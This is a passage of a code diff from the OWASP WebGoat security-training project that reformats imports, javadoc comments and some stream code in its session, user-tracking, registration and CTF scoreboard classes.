 import org.springframework.web.bind.annotation.ResponseStatus;
 
+import java.util.List;
+import java.util.function.Function;
+
 @Controller
 @AllArgsConstructor
 @Slf4j

src/main/java/org/owasp/webgoat/container/session/Course.java

@@ -1,36 +1,36 @@
 package org.owasp.webgoat.container.session;
 
-import java.util.List;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.lessons.Category;
 import org.owasp.webgoat.container.lessons.Lesson;
 
+import java.util.List;
+
 /**
  * ************************************************************************************************
- *
  * <p>
- *
+ * <p>
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
  * please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
  * GNU General Public License as published by the Free Software Foundation; either version 2 of the
  * License, or (at your option) any later version.
- *
+ * <p>
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * GNU General Public License for more details.
+ * General Public License for more details.
- *
+ * <p>
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * You should have received a copy of the GNU General Public License along with this program; if
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
- *
+ * <p>
- * <p>Getting Source ==============
+ * Getting Source ==============
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
- * for free software projects.
+ * projects.
  *
  * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
  * @version $Id: $Id
@@ -66,7 +66,7 @@ public class Course {
     }
 
     /**
-   * Getter for the field <code>lessons</code>.
+     * <p>Getter for the field <code>lessons</code>.</p>
      *
      * @return a {@link java.util.List} object.
      */
@@ -75,7 +75,7 @@ public class Course {
     }
 
     /**
-   * Getter for the field <code>lessons</code>.
+     * <p>Getter for the field <code>lessons</code>.</p>
      *
      * @param category a {@link org.owasp.webgoat.container.lessons.Category} object.
      * @return a {@link java.util.List} object.
@@ -93,7 +93,6 @@ public class Course {
     }
 
     public int getTotalOfAssignments() {
-    return this.lessons.stream()
+        return this.lessons.stream().reduce(0, (total, lesson) -> lesson.getAssignments().size() + total, Integer::sum);
-        .reduce(0, (total, lesson) -> lesson.getAssignments().size() + total, Integer::sum);
     }
 }

src/main/java/org/owasp/webgoat/container/session/LabelDebugger.java

@@ -3,7 +3,7 @@ package org.owasp.webgoat.container.session;
 import java.io.Serializable;
 
 /**
- * LabelDebugger class.
+ * <p>LabelDebugger class.</p>
  *
  * @author dm
  * @version $Id: $Id
@@ -13,7 +13,7 @@ public class LabelDebugger implements Serializable {
     private boolean enabled = false;
 
     /**
-   * isEnabled.
+     * <p>isEnabled.</p>
      *
      * @return a boolean.
      */
@@ -21,22 +21,26 @@ public class LabelDebugger implements Serializable {
         return enabled;
     }
 
-  /** Enables label debugging */
+    /**
+     * <p>Enables label debugging</p>
+     */
     public void enable() {
         this.enabled = true;
     }
 
-  /** Disables label debugging */
+    /**
+     * <p>Disables label debugging</p>
+     */
     public void disable() {
         this.enabled = false;
     }
 
     /**
-   * Sets the status to enabled
+     * <p>Sets the status to enabled</p>
-   *
      * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
      */
     public void setEnabled(boolean enabled)  {
         this.enabled = enabled;
     }
+
 }

src/main/java/org/owasp/webgoat/container/session/UserSessionData.java

@@ -2,18 +2,21 @@ package org.owasp.webgoat.container.session;
 
 import java.util.HashMap;
 
-/** Created by jason on 1/4/17. */
+/**
+ * Created by jason on 1/4/17.
+ */
 public class UserSessionData {
 
-  private HashMap<String, Object> userSessionData = new HashMap<>();
+    private HashMap<String,Object> userSessionData = new HashMap<>();
 
-  public UserSessionData() {}
+    public UserSessionData() {
-
-  public UserSessionData(String key, String value) {
-    setValue(key, value);
     }
 
-  // GETTERS & SETTERS
+    public UserSessionData(String key, String value) {
+        setValue(key,value);
+    }
+
+    //GETTERS & SETTERS
     public Object getValue(String key) {
         if (!userSessionData.containsKey(key)) {
             return null;
@@ -24,9 +27,10 @@ public class UserSessionData {
 
     public void setValue(String key, Object value) {
         if (userSessionData.containsKey(key)) {
-      userSessionData.replace(key, value);
+            userSessionData.replace(key,value);
         } else {
-      userSessionData.put(key, value);
+            userSessionData.put(key,value);
         }
     }
+
 }

src/main/java/org/owasp/webgoat/container/session/WebSession.java

@@ -1,36 +1,34 @@
 package org.owasp.webgoat.container.session;
 
-import java.io.Serializable;
 import org.owasp.webgoat.container.lessons.Lesson;
 import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.security.core.context.SecurityContextHolder;
 
+import java.io.Serializable;
+
 /**
  * *************************************************************************************************
- *
  * <p>
- *
+ * <p>
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see
- * please see http://www.owasp.org/
+ * http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later
- * License, or (at your option) any later version.
+ * version.
- *
+ * <p>
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
- * GNU General Public License for more details.
+ * <p>
- *
+ * You should have received a copy of the GNU General Public License along with this program; if not, write to the Free
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * <p>
- * 02111-1307, USA.
+ * Getting Source ==============
- *
+ * <p>
- * <p>Getting Source ==============
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
- *
+ * projects.
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
  *
  * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
  * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
@@ -45,12 +43,11 @@ public class WebSession implements Serializable {
     private boolean securityEnabled;
 
     public WebSession() {
-    this.currentUser =
+        this.currentUser = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
-        (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
     }
 
     /**
-   * Setter for the field <code>currentScreen</code>.
+     * <p> Setter for the field <code>currentScreen</code>. </p>
      *
      * @param lesson current lesson
      */
@@ -59,7 +56,7 @@ public class WebSession implements Serializable {
     }
 
     /**
-   * getCurrentLesson.
+     * <p> getCurrentLesson. </p>
      *
      * @return a {@link Lesson} object.
      */

src/main/java/org/owasp/webgoat/container/users/LessonTracker.java

@@ -1,38 +1,40 @@
+
 package org.owasp.webgoat.container.users;
 
+import lombok.Getter;
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.owasp.webgoat.container.lessons.Assignment;
+
+import javax.persistence.*;
 import java.util.*;
 import java.util.stream.Collectors;
-import javax.persistence.*;
+
-import lombok.Getter;
-import org.owasp.webgoat.container.lessons.Assignment;
-import org.owasp.webgoat.container.lessons.Lesson;
 
 /**
  * ************************************************************************************************
- *
  * <p>
- *
+ * <p>
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
  * please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
  * GNU General Public License as published by the Free Software Foundation; either version 2 of the
  * License, or (at your option) any later version.
- *
+ * <p>
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * GNU General Public License for more details.
+ * General Public License for more details.
- *
+ * <p>
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * You should have received a copy of the GNU General Public License along with this program; if
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
- *
+ * <p>
- * <p>Getting Source ==============
+ * Getting Source ==============
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
- * for free software projects.
+ * projects.
  *
  * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
  * @version $Id: $Id
@@ -44,20 +46,19 @@ public class LessonTracker {
     @Id
     @GeneratedValue(strategy = GenerationType.AUTO)
     private Long id;
-
+    @Getter
-  @Getter private String lessonName;
+    private String lessonName;
-
     @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
     private final Set<Assignment> solvedAssignments = new HashSet<>();
-
     @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
     private final Set<Assignment> allAssignments = new HashSet<>();
-
+    @Getter
-  @Getter private int numberOfAttempts = 0;
+    private int numberOfAttempts = 0;
-  @Version private Integer version;
+    @Version
+    private Integer version;
 
     private LessonTracker() {
-    // JPA
+        //JPA
     }
 
     public LessonTracker(Lesson lesson) {
@@ -85,12 +86,16 @@ public class LessonTracker {
         return allAssignments.size() == solvedAssignments.size();
     }
 
-  /** Increase the number attempts to solve the lesson */
+    /**
+     * Increase the number attempts to solve the lesson
+     */
     public void incrementAttempts() {
         numberOfAttempts++;
     }
 
-  /** Reset the tracker. We do not reset the number of attempts here! */
+    /**
+     * Reset the tracker. We do not reset the number of attempts here!
+     */
     void reset() {
         solvedAssignments.clear();
     }
@@ -99,10 +104,10 @@ public class LessonTracker {
      * @return list containing all the assignments solved or not
      */
     public Map<Assignment, Boolean> getLessonOverview() {
-    List<Assignment> notSolved =
+        List<Assignment> notSolved = allAssignments.stream()
-        allAssignments.stream().filter(i -> !solvedAssignments.contains(i)).toList();
+                .filter(i -> !solvedAssignments.contains(i))
-    Map<Assignment, Boolean> overview =
+                .toList();
-        notSolved.stream().collect(Collectors.toMap(a -> a, b -> false));
+        Map<Assignment, Boolean> overview = notSolved.stream().collect(Collectors.toMap(a -> a, b -> false));
         overview.putAll(solvedAssignments.stream().collect(Collectors.toMap(a -> a, b -> true)));
         return overview;
     }

src/main/java/org/owasp/webgoat/container/users/RegistrationController.java

@@ -1,8 +1,5 @@
 package org.owasp.webgoat.container.users;
 
-import javax.servlet.ServletException;
-import javax.servlet.http.HttpServletRequest;
-import javax.validation.Valid;
 import lombok.AllArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.springframework.security.authentication.AuthenticationManager;
@@ -12,6 +9,10 @@ import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.ModelAttribute;
 import org.springframework.web.bind.annotation.PostMapping;
 
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.validation.Valid;
+
 /**
  * @author nbaars
  * @since 3/19/17.
@@ -31,11 +32,7 @@ public class RegistrationController {
     }
 
     @PostMapping("/register.mvc")
-  public String registration(
+    public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) throws ServletException {
-      @ModelAttribute("userForm") @Valid UserForm userForm,
-      BindingResult bindingResult,
-      HttpServletRequest request)
-      throws ServletException {
         userValidator.validate(userForm, bindingResult);
 
         if (bindingResult.hasErrors()) {

src/main/java/org/owasp/webgoat/container/users/Scoreboard.java

@@ -1,8 +1,5 @@
 package org.owasp.webgoat.container.users;
 
-import java.util.List;
-import java.util.Optional;
-import java.util.stream.Collectors;
 import lombok.AllArgsConstructor;
 import lombok.Getter;
 import org.owasp.webgoat.container.i18n.PluginMessages;
@@ -11,6 +8,10 @@ import org.owasp.webgoat.container.session.Course;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RestController;
 
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Optional;
+
 /**
  * Temp endpoint just for the CTF.
  *
@@ -35,29 +36,23 @@ public class Scoreboard {
 
     @GetMapping("/scoreboard-data")
     public List<Ranking> getRankings() {
-    return userRepository.findAll().stream()
+        List<WebGoatUser> allUsers = userRepository.findAll();
-        .filter(user -> !user.getUsername().startsWith("csrf-"))
+        List<Ranking> rankings = new ArrayList<>();
-        .map(
+        for (WebGoatUser user : allUsers) {
-            user ->
+            if (user.getUsername().startsWith("csrf-")) {
-                new Ranking(
+                //the csrf- assignment specific users do not need to be in the overview
-                    user.getUsername(),
+                continue;
-                    challengesSolved(userTrackerRepository.findByUser(user.getUsername()))))
+            }
-        .sorted((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size())
+            UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
-        .collect(Collectors.toList());
+            rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
+        }
+        /* sort on number of captured flags to present an ordered ranking */
+        rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size());
+        return rankings;
     }
 
     private List<String> challengesSolved(UserTracker userTracker) {
-    List<String> challenges =
+        List<String> challenges = List.of("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
-        List.of(
-            "Challenge1",
-            "Challenge2",
-            "Challenge3",
-            "Challenge4",
-            "Challenge5",
-            "Challenge6",
-            "Challenge7",
-            "Challenge8",
-            "Challenge9");
         return challenges.stream()
                 .map(userTracker::getLessonTracker)
                 .flatMap(Optional::stream)
@@ -68,8 +63,7 @@ public class Scoreboard {
     }
 
     private String toLessonTitle(String id) {
-    String titleKey =
+        String titleKey = course.getLessons().stream()
-        course.getLessons().stream()
                 .filter(l -> l.getId().equals(id))
                 .findFirst()
                 .map(Lesson::getTitle)